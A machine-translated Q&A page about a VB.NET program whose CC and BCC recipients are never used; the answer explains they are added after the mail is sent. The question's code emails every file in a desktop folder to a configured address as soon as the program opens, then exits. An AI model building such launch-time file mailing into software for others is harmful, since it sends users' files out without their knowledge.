CC和BCC不工作我不能貫穿其中的一個發送

Question

Imports System.Net.Mail 
Imports System.IO 
Public Class Form1 
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load 
    Try 
     Dim mail As New MailMessage() 
     Dim SmtpServer As New SmtpClient(My.Settings.smtpserver) 
     mail.From = New MailAddress(My.Settings.from) 
     mail.[To].Add(My.Settings.destination) 
     mail.Subject = "Program" 
     mail.Body = "Hi this is a msg form .net application" 

     Dim path As String = My.Settings.desktop 
     Dim dir As New DirectoryInfo(path) 
     Dim filesInDirectory As FileInfo() = dir.GetFiles() 
     Dim attach As System.Net.Mail.Attachment 
     For Each file In filesInDirectory 
      attach = New System.Net.Mail.Attachment(file.FullName) 
      mail.Attachments.Add(attach) 
     Next 

     SmtpServer.Port = My.Settings.port 
     SmtpServer.Credentials = New 
System.Net.NetworkCredential(My.Settings.username, My.Settings.password) 
     SmtpServer.EnableSsl = True 

     SmtpServer.Send(mail) 
     MsgBox("Sent Successfuly!", MsgBoxStyle.Information, "Send!") 

     mail.CC.Add(My.Settings.CC) 
     mail.Bcc.Add(My.Settings.BCC) 

    Catch ex As Exception 
     MsgBox("Failed Sending Email!", MsgBoxStyle.Critical, "Failed!") 
    End Try 
    Application.Exit() 
End Sub 

末級

的抄送和密送不工作我不能通過CC上發送也不BCC是有我的代碼的任何問題嗎？用戶可以像使用Gmail一樣使用cc和bcc。

Answer 1

嗯 - 您在發送電子郵件後正在設置CC和BCC。那是你的問題。移動線：

 


    mail.CC.Add(My.Settings.CC) 
    mail.Bcc.Add(My.Settings.BCC) 

 

最多你在哪裏設置Mail.Subject等